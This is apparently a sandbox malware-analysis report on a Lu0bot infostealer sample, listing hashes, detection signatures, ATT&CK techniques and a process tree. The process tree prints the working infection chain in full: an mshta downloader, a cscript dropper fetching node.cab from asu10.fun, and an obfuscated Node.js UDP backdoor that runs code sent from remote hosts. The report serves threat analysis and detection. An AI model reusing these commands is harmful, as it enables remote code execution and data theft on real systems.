lu0bot | d58184d02343b1ee6bf6f5c8146233288caa4f9a1543990b4c0e20be74fb671e

Analysis

max time kernel
149s
max time network
146s
platform
windows10_x64
resource
win10v20210410
submitted
04-08-2021 16:39

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

usfive_20210804-182856.exe
Size

2KB
MD5

ab9ae54ca49cf5f6065af27e779b4653
SHA1

c39d0558a7135e24b8293f3330a3ba0e663d7422
SHA256

d58184d02343b1ee6bf6f5c8146233288caa4f9a1543990b4c0e20be74fb671e
SHA512

7dd40b5100bf35bf45b346ae9508b3bb1e6f3ac7d457fb99f9bbcbae78e1e9809b527afb86805954688c7fc6b7093c87d456fa947cb0857b18716238b6a116ad

Score

10^/10

lu0bot discovery stealer suricata trojan

Malware Config

Signatures

Lu0bot
Lu0bot is a lightweight infostealer written in NodeJS.
trojan stealer lu0bot
suricata: ET MALWARE lu0bot Loader HTTP Request
suricata
suricata: ET MALWARE lu0bot Loader HTTP Response
suricata

Blocklisted process makes network request 2 IoCs

flow	pid	Process
8	576	mshta.exe
9	2344	cscript.exe

Executes dropped EXE 1 IoCs

pid	Process
3384	node.exe

Modifies file permissions 1 TTPs 1 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
1280	icacls.exe

Drops file in Windows directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Logs\DPX\setupact.log	expand.exe
File opened for modification	C:\Windows\Logs\DPX\setuperr.log	expand.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	node.exe

Enumerates processes with tasklist 1 TTPs 1 IoCs

Process Discovery

T1057

pid	Process
2576	tasklist.exe

Gathers network information 2 TTPs 2 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command-Line Interface

T1059

pid	Process
3280	ipconfig.exe
2020	netstat.exe

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
2108	systeminfo.exe

NTFS ADS 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Local\Temp\39c44512ebc50679:ads	node.exe
File created	C:\ProgramData\DNTException\node.exe:dd91fb706b40dcd453b6bea8f6e910b4	node.exe

Script User-Agent 2 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	8	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	9	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
3384	node.exe
3384	node.exe
3384	node.exe
3384	node.exe

Suspicious use of AdjustPrivilegeToken 44 IoCs

description	pid	Process
Token: SeDebugPrivilege	2576	tasklist.exe
Token: SeIncreaseQuotaPrivilege	3720	wmic.exe
Token: SeSecurityPrivilege	3720	wmic.exe
Token: SeTakeOwnershipPrivilege	3720	wmic.exe
Token: SeLoadDriverPrivilege	3720	wmic.exe
Token: SeSystemProfilePrivilege	3720	wmic.exe
Token: SeSystemtimePrivilege	3720	wmic.exe
Token: SeProfSingleProcessPrivilege	3720	wmic.exe
Token: SeIncBasePriorityPrivilege	3720	wmic.exe
Token: SeCreatePagefilePrivilege	3720	wmic.exe
Token: SeBackupPrivilege	3720	wmic.exe
Token: SeRestorePrivilege	3720	wmic.exe
Token: SeShutdownPrivilege	3720	wmic.exe
Token: SeDebugPrivilege	3720	wmic.exe
Token: SeSystemEnvironmentPrivilege	3720	wmic.exe
Token: SeRemoteShutdownPrivilege	3720	wmic.exe
Token: SeUndockPrivilege	3720	wmic.exe
Token: SeManageVolumePrivilege	3720	wmic.exe
Token: 33	3720	wmic.exe
Token: 34	3720	wmic.exe
Token: 35	3720	wmic.exe
Token: 36	3720	wmic.exe
Token: SeIncreaseQuotaPrivilege	3720	wmic.exe
Token: SeSecurityPrivilege	3720	wmic.exe
Token: SeTakeOwnershipPrivilege	3720	wmic.exe
Token: SeLoadDriverPrivilege	3720	wmic.exe
Token: SeSystemProfilePrivilege	3720	wmic.exe
Token: SeSystemtimePrivilege	3720	wmic.exe
Token: SeProfSingleProcessPrivilege	3720	wmic.exe
Token: SeIncBasePriorityPrivilege	3720	wmic.exe
Token: SeCreatePagefilePrivilege	3720	wmic.exe
Token: SeBackupPrivilege	3720	wmic.exe
Token: SeRestorePrivilege	3720	wmic.exe
Token: SeShutdownPrivilege	3720	wmic.exe
Token: SeDebugPrivilege	3720	wmic.exe
Token: SeSystemEnvironmentPrivilege	3720	wmic.exe
Token: SeRemoteShutdownPrivilege	3720	wmic.exe
Token: SeUndockPrivilege	3720	wmic.exe
Token: SeManageVolumePrivilege	3720	wmic.exe
Token: 33	3720	wmic.exe
Token: 34	3720	wmic.exe
Token: 35	3720	wmic.exe
Token: 36	3720	wmic.exe
Token: SeDebugPrivilege	2020	netstat.exe

Suspicious use of WriteProcessMemory 51 IoCs

description	pid	Process	procid_target
PID 3164 wrote to memory of 576	3164	usfive_20210804-182856.exe	73
PID 3164 wrote to memory of 576	3164	usfive_20210804-182856.exe	73
PID 3164 wrote to memory of 576	3164	usfive_20210804-182856.exe	73
PID 576 wrote to memory of 1808	576	mshta.exe	77
PID 576 wrote to memory of 1808	576	mshta.exe	77
PID 576 wrote to memory of 1808	576	mshta.exe	77
PID 1808 wrote to memory of 2344	1808	cmd.exe	79
PID 1808 wrote to memory of 2344	1808	cmd.exe	79
PID 1808 wrote to memory of 2344	1808	cmd.exe	79
PID 1808 wrote to memory of 2824	1808	cmd.exe	80
PID 1808 wrote to memory of 2824	1808	cmd.exe	80
PID 1808 wrote to memory of 2824	1808	cmd.exe	80
PID 1808 wrote to memory of 1864	1808	cmd.exe	81
PID 1808 wrote to memory of 1864	1808	cmd.exe	81
PID 1808 wrote to memory of 1864	1808	cmd.exe	81
PID 1864 wrote to memory of 3384	1864	cscript.exe	82
PID 1864 wrote to memory of 3384	1864	cscript.exe	82
PID 1864 wrote to memory of 3384	1864	cscript.exe	82
PID 3384 wrote to memory of 3172	3384	node.exe	86
PID 3384 wrote to memory of 3172	3384	node.exe	86
PID 3384 wrote to memory of 3172	3384	node.exe	86
PID 3384 wrote to memory of 1632	3384	node.exe	87
PID 3384 wrote to memory of 1632	3384	node.exe	87
PID 3384 wrote to memory of 1632	3384	node.exe	87
PID 3384 wrote to memory of 1280	3384	node.exe	88
PID 3384 wrote to memory of 1280	3384	node.exe	88
PID 3384 wrote to memory of 1280	3384	node.exe	88
PID 3384 wrote to memory of 1192	3384	node.exe	89
PID 3384 wrote to memory of 1192	3384	node.exe	89
PID 3384 wrote to memory of 1192	3384	node.exe	89
PID 3384 wrote to memory of 2072	3384	node.exe	90
PID 3384 wrote to memory of 2072	3384	node.exe	90
PID 3384 wrote to memory of 2072	3384	node.exe	90
PID 3384 wrote to memory of 2576	3384	node.exe	92
PID 3384 wrote to memory of 2576	3384	node.exe	92
PID 3384 wrote to memory of 2576	3384	node.exe	92
PID 3384 wrote to memory of 3720	3384	node.exe	93
PID 3384 wrote to memory of 3720	3384	node.exe	93
PID 3384 wrote to memory of 3720	3384	node.exe	93
PID 3384 wrote to memory of 3280	3384	node.exe	94
PID 3384 wrote to memory of 3280	3384	node.exe	94
PID 3384 wrote to memory of 3280	3384	node.exe	94
PID 3384 wrote to memory of 1276	3384	node.exe	95
PID 3384 wrote to memory of 1276	3384	node.exe	95
PID 3384 wrote to memory of 1276	3384	node.exe	95
PID 3384 wrote to memory of 2020	3384	node.exe	96
PID 3384 wrote to memory of 2020	3384	node.exe	96
PID 3384 wrote to memory of 2020	3384	node.exe	96
PID 3384 wrote to memory of 2108	3384	node.exe	97
PID 3384 wrote to memory of 2108	3384	node.exe	97
PID 3384 wrote to memory of 2108	3384	node.exe	97

Views/modifies file attributes 1 TTPs 2 IoCs

evasion

Hidden Files and Directories

T1158

pid	Process
1192	attrib.exe
2072	attrib.exe

C:\Users\Admin\AppData\Local\Temp\usfive_20210804-182856.exe
"C:\Users\Admin\AppData\Local\Temp\usfive_20210804-182856.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3164
- C:\Windows\SysWOW64\mshta.exe
  mshta "javascript:document.write();115;y=unescape('%360%7Eh%74t%70%3A%2F%2F%61s%751%30%2E%66u%6E%2F%68r%69%2F%3F2%31a%36e%34b%7E8%34').split('~');71;try{x='WinHttp';254;x=new ActiveXObject(x+'.'+x+'Request.5.1');92;x.open('GET',y[1]+'&a='+escape(window.navigator.userAgent),!1);237;x.send();240;y='ipt.S';210;new ActiveXObject('WScr'+y+'hell').Run(unescape(unescape(x.responseText)),0,!2);46;}catch(e){};152;;window.close();"
  2⤵
  - Blocklisted process makes network request
  - Suspicious use of WriteProcessMemory
  PID:576
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /d/s/c cd /d "C:\ProgramData" & mkdir "DNTException" & cd "DNTException" & dir /a node.exe || ( echo x=new ActiveXObject("WinHttp.WinHttpRequest.5.1"^);x.Open("GET",unescape(WScript.Arguments(0^)^),false^);x.Send(^);b=new ActiveXObject("ADODB.Stream"^);b.Type=1;b.Open(^);b.Write(x.ResponseBody^);b.SaveToFile(WScript.Arguments(1^),2^); > get1628095205159.txt & cscript /nologo /e:jscript get1628095205159.txt "http%3A%2F%2Fasu10.fun%2Fhri%2F%3F2e5365a2b%26b%3D72ba7ea1" node.cab & expand node.cab node.exe & del get1628095205159.txt node.cab ) & echo new ActiveXObject("WScript.Shell").Run(WScript.Arguments(0),0,false); > get1628095205159.txt & cscript /nologo /e:jscript get1628095205159.txt "node -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%27e5365a2b%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27asu10.fun%27);s.send(b,0,b.length,19584,%27lu0.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))" & del get1628095205159.txt
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1808
  - - C:\Windows\SysWOW64\cscript.exe
      cscript /nologo /e:jscript get1628095205159.txt "http%3A%2F%2Fasu10.fun%2Fhri%2F%3F2e5365a2b%26b%3D72ba7ea1" node.cab
      4⤵
      Blocklisted process makes network request
      PID:2344
  - - C:\Windows\SysWOW64\expand.exe
      expand node.cab node.exe
      4⤵
      Drops file in Windows directory
      PID:2824
  - - C:\Windows\SysWOW64\cscript.exe
      cscript /nologo /e:jscript get1628095205159.txt "node -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%27e5365a2b%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27asu10.fun%27);s.send(b,0,b.length,19584,%27lu0.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1864
    - - C:\ProgramData\DNTException\node.exe
        
        "C:\ProgramData\DNTException\node.exe" -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%27e5365a2b%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27asu10.fun%27);s.send(b,0,b.length,19584,%27lu0.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))
        5⤵
        Executes dropped EXE
        Checks processor information in registry
        NTFS ADS
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:3384
      - C:\Windows\SysWOW64\cmd.exe
        
        cmd.exe /c dir C:\
        6⤵
        
        PID:3172
      - C:\Windows\SysWOW64\cacls.exe
        
        cacls.exe C:\ProgramData\DNTException /t /e /c /g Everyone:F
        6⤵
        
        PID:1632
      - C:\Windows\SysWOW64\icacls.exe
        
        icacls.exe C:\ProgramData\DNTException /t /c /grant *S-1-1-0:(f)
        6⤵
        Modifies file permissions
        
        PID:1280
      - C:\Windows\SysWOW64\attrib.exe
        
        attrib.exe +H C:\ProgramData\DNTException
        6⤵
        Views/modifies file attributes
        
        PID:1192
      - C:\Windows\SysWOW64\attrib.exe
        
        attrib.exe +H C:\ProgramData\DNTException\node.exe
        6⤵
        Views/modifies file attributes
        
        PID:2072
      - C:\Windows\SysWOW64\tasklist.exe
        
        tasklist /fo csv /nh
        6⤵
        Enumerates processes with tasklist
        Suspicious use of AdjustPrivilegeToken
        
        PID:2576
      - C:\Windows\SysWOW64\Wbem\wmic.exe
        
        wmic process get processid,parentprocessid,name,executablepath /format:csv
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:3720
      - C:\Windows\SysWOW64\ipconfig.exe
        
        ipconfig.exe /all
        6⤵
        Gathers network information
        
        PID:3280
      - C:\Windows\SysWOW64\route.exe
        
        route.exe print
        6⤵
        
        PID:1276
      - C:\Windows\SysWOW64\netstat.exe
        
        netstat.exe -ano
        6⤵
        Gathers network information
        Suspicious use of AdjustPrivilegeToken
        
        PID:2020
      - C:\Windows\SysWOW64\systeminfo.exe
        
        systeminfo.exe /fo csv
        6⤵
        Gathers system information
        
        PID:2108

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Command-Line Interface

T1059

Persistence

Hidden Files and Directories

T1158

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Hidden Files and Directories

T1158

Credential Access

Discovery

Process Discovery

T1057

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/3384-125-0x0000000014500000-0x0000000014501000-memory.dmp

Filesize
4KB

Download
memory/3384-128-0x0000000017300000-0x0000000017301000-memory.dmp

Filesize
4KB

Download
memory/3384-126-0x000000001D000000-0x000000001D001000-memory.dmp

Filesize
4KB

Download
memory/3384-127-0x0000000035600000-0x0000000035601000-memory.dmp

Filesize
4KB

Download
memory/3384-130-0x0000000037400000-0x0000000037401000-memory.dmp

Filesize
4KB

Download
memory/3384-129-0x0000000016000000-0x0000000016001000-memory.dmp

Filesize
4KB

Download